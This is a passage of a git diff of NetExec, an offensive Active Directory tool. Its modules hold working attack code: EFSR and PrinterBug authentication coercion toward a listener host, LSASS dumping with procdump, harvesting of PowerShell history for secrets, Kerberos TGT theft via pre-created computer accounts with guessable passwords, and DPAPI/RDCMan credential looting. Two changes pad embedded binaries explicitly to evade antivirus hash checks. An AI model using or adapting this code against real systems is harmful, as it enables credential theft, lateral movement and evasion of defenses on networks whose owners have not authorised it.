"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
"netlogon": {
|
||||
"stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target,
|
||||
"MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"),
|
||||
},
|
||||
}
|
||||
rpc_transport = transport.DCERPCTransportFactory(binding_params[pipe]["stringBinding"])
|
||||
rpc_transport.setRemoteHost(remoteHost)
|
||||
if hasattr(rpc_transport, "set_credentials"):
|
||||
rpc_transport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.set_auth_type(RPC_C_AUTHN_WINNT)
|
||||
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
if do_kerberos:
|
||||
rpc_transport.set_kerberos(do_kerberos, kdcHost)
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
sys.exit()
|
||||
context.log.info("[+] Connected!")
|
||||
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
|
||||
except Exception as e:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
sys.exit()
|
||||
context.log.info("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
|
||||
def efs_rpc_open_file_raw(dce, listener, context=None):
|
||||
try:
|
||||
request = EfsRpcOpenFileRaw()
|
||||
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
||||
request["Flag"] = 0
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
|
||||
context.log.info("[+] Attack worked!")
|
||||
return True
|
||||
if str(e).find("rpc_s_access_denied") >= 0:
|
||||
context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
|
||||
context.log.info("[+] OK! Using unpatched function!")
|
||||
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
|
||||
try:
|
||||
request = EfsRpcEncryptFileSrv()
|
||||
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
if str(e).find("ERROR_BAD_NETPATH") >= 0:
|
||||
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
|
||||
context.log.info("[+] Attack worked!")
|
||||
return True
|
||||
else:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
else:
|
||||
context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
+5
-1
@@ -1,7 +1,7 @@
|
||||
from base64 import b64decode
|
||||
from sys import exit
|
||||
from os.path import abspath, join, isfile
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.paths import DATA_PATH, TMP_PATH
|
||||
|
||||
|
||||
@@ -25,9 +25,13 @@ class NXCModule:
|
||||
self.pi = "pi.exe"
|
||||
self.useembeded = True
|
||||
self.pid = self.cmd = ""
|
||||
|
||||
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
|
||||
self.pi_embedded = b64decode(pi_file.read())
|
||||
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.pi_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
if "EXEC" in module_options:
|
||||
self.cmd = module_options["EXEC"]
|
||||
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from nxc.paths import NXC_PATH
|
||||
from io import BytesIO
|
||||
|
||||
|
||||
class NXCModule:
|
||||
# Module by @357384n
|
||||
# Modified by @Defte_ 12/10/2024 to remove unecessary powershell execute command
|
||||
|
||||
name = "powershell_history"
|
||||
description = "Extracts PowerShell history for all users and looks for sensitive commands."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
false_positive = [".", "..", "desktop.ini", "Public", "Default", "Default User", "All Users", ".NET v4.5", ".NET v4.5 Classic"]
|
||||
sensitive_keywords = [
|
||||
"password", "passw", "secret", "credential", "key",
|
||||
"get-credential", "convertto-securestring", "set-localuser",
|
||||
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
|
||||
"invoke-webrequest", "invoke-restmethod"
|
||||
]
|
||||
|
||||
def options(self, _, module_options):
|
||||
self.export = bool(module_options.get("EXPORT", False))
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
for directory in connection.conn.listPath("C$", "Users\\*"):
|
||||
if directory.get_longname() not in self.false_positive and directory.is_directory():
|
||||
try:
|
||||
powershell_history_dir = f"Users\\{directory.get_longname()}\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\"
|
||||
for file in connection.conn.listPath("C$", f"{powershell_history_dir}\\*"):
|
||||
if file.get_longname() not in self.false_positive:
|
||||
file_path = f"{powershell_history_dir}{file.get_longname()}"
|
||||
|
||||
buf = BytesIO()
|
||||
connection.conn.getFile("C$", file_path, buf.write)
|
||||
buf.seek(0)
|
||||
file_content = buf.read().decode("utf-8", errors="ignore")
|
||||
keywords = [keyword.upper() for keyword in self.sensitive_keywords if keyword.lower() in file_content.lower()]
|
||||
if len(keywords):
|
||||
context.log.highlight(f"C:\\{file_path} [ {' '.join(keywords)} ]")
|
||||
else:
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
if self.export:
|
||||
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = abspath(join(export_path, filename))
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
file.write(file_content)
|
||||
context.log.highlight(f"PowerShell history written to: {path}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to write history to {filename}: {e}")
|
||||
except Exception:
|
||||
pass
|
||||
@@ -0,0 +1,126 @@
|
||||
import os
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5 import constants
|
||||
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
|
||||
Module by: @shad0wcntr0ller
|
||||
"""
|
||||
name = "pre2k"
|
||||
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
try:
|
||||
ldap_connection = connection.ldap_connection
|
||||
|
||||
# Define the search filter for pre-created computer accounts
|
||||
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
|
||||
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
|
||||
|
||||
context.log.info(f"Using search filter: {search_filter}")
|
||||
context.log.info(f"Attributes to retrieve: {attributes}")
|
||||
|
||||
computers = []
|
||||
|
||||
try:
|
||||
# Use paged search to retrieve all computer accounts with specific flags
|
||||
search_results = connection.search(search_filter, attributes)
|
||||
results = parse_result_attributes(search_results)
|
||||
context.log.debug(f"Search results: {results}")
|
||||
|
||||
for computer in results:
|
||||
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
|
||||
# Check if the account is a pre-created computer account
|
||||
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
|
||||
computers.append(computer["sAMAccountName"])
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
|
||||
# Save computers to file
|
||||
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
|
||||
output_file = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
|
||||
# Create directories if they do not exist
|
||||
os.makedirs(domain_dir, exist_ok=True)
|
||||
|
||||
with open(output_file, "w") as file:
|
||||
for computer in computers:
|
||||
file.write(f"{computer}\n")
|
||||
|
||||
# Print discovered pre-created computer accounts
|
||||
if computers:
|
||||
for computer in computers:
|
||||
context.log.highlight(f"Pre-created computer account: {computer}")
|
||||
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
|
||||
else:
|
||||
context.log.info("No pre-created computer accounts found.")
|
||||
|
||||
# Obtain TGTs and save to ccache
|
||||
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
|
||||
os.makedirs(ccache_base_dir, exist_ok=True)
|
||||
|
||||
successful_tgts = 0
|
||||
|
||||
for computer in computers:
|
||||
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
|
||||
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
|
||||
successful_tgts += 1
|
||||
|
||||
# Summary of TGT results
|
||||
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error occurred during search: {e}")
|
||||
|
||||
ldap_connection.close()
|
||||
return True
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error occurred during LDAP connection: {e}")
|
||||
return False
|
||||
|
||||
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
|
||||
try:
|
||||
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
password = username[:14] # Password is the first 14 characters of the machine name in lowercase
|
||||
context.log.info(f"Getting TGT for {username}@{domain}")
|
||||
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
|
||||
clientName=userName,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash="",
|
||||
nthash="",
|
||||
aesKey="",
|
||||
kdcHost=kdcHost,
|
||||
serverName=None
|
||||
)
|
||||
|
||||
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
|
||||
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
|
||||
return True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
|
||||
return False
|
||||
|
||||
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
|
||||
try:
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(ticket, sessionKey, sessionKey)
|
||||
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
|
||||
ccache.saveFile(ccache_filename)
|
||||
context.log.info(f"Saved ticket in {ccache_filename}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Failed to save ticket for {username}: {e}")
|
||||
@@ -1,9 +1,6 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "printerbug"
|
||||
description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
|
||||
description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = True
|
||||
@@ -20,98 +17,4 @@ class NXCModule:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
||||
def on_login(self, context, connection):
|
||||
trigger = TriggerAuth(context)
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
dce = trigger.connect(
|
||||
username=connection.username,
|
||||
password=connection.password,
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=target,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
|
||||
if dce is not None:
|
||||
context.log.debug("Target is vulnerable to PrinterBug")
|
||||
trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
|
||||
context.log.highlight("VULNERABLE")
|
||||
dce.disconnect()
|
||||
else:
|
||||
context.log.debug("Target is not vulnerable to PrinterBug")
|
||||
|
||||
|
||||
################################################################################
|
||||
# RPC CALLS
|
||||
################################################################################
|
||||
|
||||
|
||||
class TriggerAuth:
|
||||
def __init__(self, context):
|
||||
self.context = context
|
||||
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
|
||||
rpctransport.set_dport(445)
|
||||
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
password=password,
|
||||
domain=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
aesKey=aesKey,
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
|
||||
rpctransport.setRemoteHost(target)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
try:
|
||||
dce.bind(rprn.MSRPC_UUID_RPRN)
|
||||
except Exception as e:
|
||||
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
self.context.log.debug("Successfully bound!")
|
||||
return dce
|
||||
|
||||
def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
|
||||
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
|
||||
try:
|
||||
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
|
||||
except Exception as e:
|
||||
if str(e).find("Broken pipe") >= 0:
|
||||
# The connection timed-out. Let's try to bring it back next round
|
||||
self.context.log.error("Connection failed - skipping host!")
|
||||
return
|
||||
elif str(e).upper().find("ACCESS_DENIED"):
|
||||
# We're not admin, bye
|
||||
self.context.log.error("Access denied - RPC call was denied")
|
||||
dce.disconnect()
|
||||
return
|
||||
else:
|
||||
raise
|
||||
self.context.log.debug("Got handle")
|
||||
|
||||
try:
|
||||
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
|
||||
request["hPrinter"] = resp["pHandle"]
|
||||
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
|
||||
request["pszLocalMachine"] = "\\\\%s\x00" % listener
|
||||
except Exception as e:
|
||||
self.context.log.debug(e)
|
||||
|
||||
try:
|
||||
dce.request(request)
|
||||
except Exception as e:
|
||||
self.context.log.debug(e)
|
||||
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
|
||||
@@ -1,6 +1,6 @@
|
||||
import sys
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE, rpc_status_codes
|
||||
from impacket.structure import Structure
|
||||
from impacket.dcerpc.v5 import transport, rprn
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
|
||||
@@ -39,7 +39,8 @@ class NXCModule:
|
||||
|
||||
def on_login(self, context, connection):
|
||||
# Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515)
|
||||
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % connection.host
|
||||
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
|
||||
stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target
|
||||
|
||||
context.log.info(f"Binding to {stringbinding!r}")
|
||||
|
||||
@@ -55,7 +56,7 @@ class NXCModule:
|
||||
)
|
||||
|
||||
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
|
||||
rpctransport.setRemoteHost(connection.host)
|
||||
rpctransport.setRemoteHost(target)
|
||||
rpctransport.set_dport(self.port)
|
||||
|
||||
try:
|
||||
@@ -101,7 +102,12 @@ class NXCModule:
|
||||
if e.error_code == system_errors.ERROR_INVALID_PARAMETER:
|
||||
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
|
||||
return True
|
||||
raise e
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
except DCERPCException as e:
|
||||
if rpc_status_codes[e.error_code] == "rpc_s_access_denied":
|
||||
context.log.info("Not vulnerable :'(")
|
||||
return False
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
context.log.highlight("Vulnerable, next step https://github.com/ly4k/PrintNightmare")
|
||||
return True
|
||||
|
||||
|
||||
+16
-8
@@ -4,11 +4,11 @@
|
||||
|
||||
import base64
|
||||
import re
|
||||
import sys
|
||||
import pypykatz
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.paths import TMP_PATH
|
||||
from os.path import abspath, join
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -35,6 +35,8 @@ class NXCModule:
|
||||
self.procdump_path = abspath(TMP_PATH)
|
||||
self.dir_result = self.procdump_path
|
||||
self.useembeded = True
|
||||
# Add some random binary data to defeat AVs which check the file hash
|
||||
self.procdump_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
|
||||
|
||||
if "PROCDUMP_PATH" in module_options:
|
||||
self.procdump_path = module_options["PROCDUMP_PATH"]
|
||||
@@ -79,7 +81,10 @@ class NXCModule:
|
||||
else:
|
||||
context.log.fail("Process lsass.exe error un dump, try with verbose")
|
||||
|
||||
if dump:
|
||||
if not dump:
|
||||
self.delete_procdump_binary(connection, context)
|
||||
return
|
||||
else:
|
||||
regex = r"([A-Za-z0-9-]*.dmp)"
|
||||
matches = re.search(regex, str(p), re.MULTILINE)
|
||||
machine_name = ""
|
||||
@@ -87,7 +92,7 @@ class NXCModule:
|
||||
machine_name = matches.group()
|
||||
else:
|
||||
context.log.display("Error getting the lsass.dmp file name")
|
||||
sys.exit(1)
|
||||
return
|
||||
|
||||
context.log.display(f"Copy {machine_name} to host")
|
||||
|
||||
@@ -98,11 +103,7 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error while get file: {e}")
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
|
||||
context.log.success(f"Deleted procdump file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
|
||||
self.delete_procdump_binary(connection, context)
|
||||
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
|
||||
@@ -152,3 +153,10 @@ class NXCModule:
|
||||
add_user_bh(credz_bh, None, context.log, connection.config)
|
||||
except Exception as e:
|
||||
context.log.fail("Error openning dump file", str(e))
|
||||
|
||||
def delete_procdump_binary(self, connection, context):
|
||||
try:
|
||||
connection.conn.deleteFile(self.share, self.tmp_share + self.procdump)
|
||||
context.log.success(f"Deleted procdump file on the {self.share} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error deleting procdump file on share {self.share}: {e}")
|
||||
+2
-2
@@ -24,7 +24,7 @@ class NXCModule:
|
||||
def on_login(self, context, connection):
|
||||
# Are there even any FGPPs?
|
||||
context.log.success("Attempting to enumerate policies...")
|
||||
resp = connection.ldapConnection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
|
||||
resp = connection.ldap_connection.search(searchBase=f"CN=Password Settings Container,CN=System,{''.join([f'DC={dc},' for dc in connection.domain.split('.')]).rstrip(',')}", searchFilter="(objectclass=*)")
|
||||
if len(resp) > 1:
|
||||
context.log.highlight(f"{len(resp) - 1} PSO Objects found!")
|
||||
context.log.highlight("")
|
||||
@@ -53,7 +53,7 @@ class NXCModule:
|
||||
for attrs in resp:
|
||||
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
|
||||
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, observationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
|
||||
for attr in attrs["attributes"]:
|
||||
if str(attr["type"]) == "name":
|
||||
policyName = attr["vals"][0]
|
||||
|
||||
+16
-12
@@ -69,19 +69,23 @@ class NXCModule:
|
||||
def load_missing_users(self, unloaded_user_objects):
|
||||
"""Load missing users into registry to access their registry keys."""
|
||||
for user_object in unloaded_user_objects:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
try:
|
||||
# Extract profile Path of NTUSER.DAT
|
||||
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
|
||||
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
# Load Profile
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
# Load Profile
|
||||
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
|
||||
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
|
||||
|
||||
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
|
||||
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
|
||||
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.fail(f"Error loading user {user_object} into registry: {e}")
|
||||
self.context.log.debug(traceback.format_exc())
|
||||
|
||||
def unload_missing_users(self, unloaded_user_objects):
|
||||
"""If some user were not logged in at the beginning we unload them from registry."""
|
||||
@@ -92,7 +96,7 @@ class NXCModule:
|
||||
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
|
||||
try:
|
||||
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
|
||||
except Exception as e:
|
||||
except rrp.DCERPCSessionError as e:
|
||||
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
|
||||
self.context.log.debug(traceback.format_exc())
|
||||
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
|
||||
|
||||
+21
-88
@@ -1,10 +1,8 @@
|
||||
from dploot.triage.rdg import RDGTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.rdg import RDGTriage, RDGServerProfile
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
|
||||
|
||||
class NXCModule:
|
||||
@@ -15,99 +13,34 @@ class NXCModule:
|
||||
multiple_hosts = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
PVK Domain backup key file
|
||||
MKFILE File with masterkeys in form of {GUID}:SHA1
|
||||
"""
|
||||
self.pvkbytes = None
|
||||
self.masterkeys = None
|
||||
|
||||
if "PVK" in module_options:
|
||||
self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115
|
||||
|
||||
if "MKFILE" in module_options:
|
||||
self.masterkeys = parse_masterkey_file(module_options["MKFILE"])
|
||||
self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115
|
||||
""" """
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
domain = connection.domain
|
||||
username = connection.username
|
||||
kerberos = connection.kerberos
|
||||
aesKey = connection.aesKey
|
||||
use_kcache = getattr(connection, "use_kcache", False)
|
||||
password = getattr(connection, "password", "")
|
||||
lmhash = getattr(connection, "lmhash", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
if self.pvkbytes is None:
|
||||
try:
|
||||
dc = Target.create(
|
||||
domain=domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=domain,
|
||||
lmhash=lmhash,
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
)
|
||||
|
||||
dc_conn = DPLootSMBConnection(dc)
|
||||
dc_conn.connect()
|
||||
|
||||
if dc_conn.is_admin:
|
||||
context.log.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
self.pvkbytes = backupkey.backupkey_v2
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get domain backupkey: {e}")
|
||||
self.pvkbytes = get_domain_backup_key(connection)
|
||||
|
||||
target = Target.create(
|
||||
domain=domain,
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=host,
|
||||
lmhash=lmhash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=kerberos,
|
||||
aesKey=aesKey,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=use_kcache,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = None
|
||||
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
conn.smb_session = connection.conn
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not upgrade connection: {e}")
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
if password != "":
|
||||
plaintexts[username] = password
|
||||
if nthash != "":
|
||||
nthashes[username] = nthash
|
||||
|
||||
if self.masterkeys is None:
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
self.masterkeys = masterkeys_triage.triage_masterkeys()
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
|
||||
|
||||
if len(self.masterkeys) == 0:
|
||||
context.log.fail("No masterkeys looted")
|
||||
@@ -122,17 +55,17 @@ class NXCModule:
|
||||
if rdcman_file is None:
|
||||
continue
|
||||
for rdg_cred in rdcman_file.rdg_creds:
|
||||
if rdg_cred.type in ["cred", "logon", "server"]:
|
||||
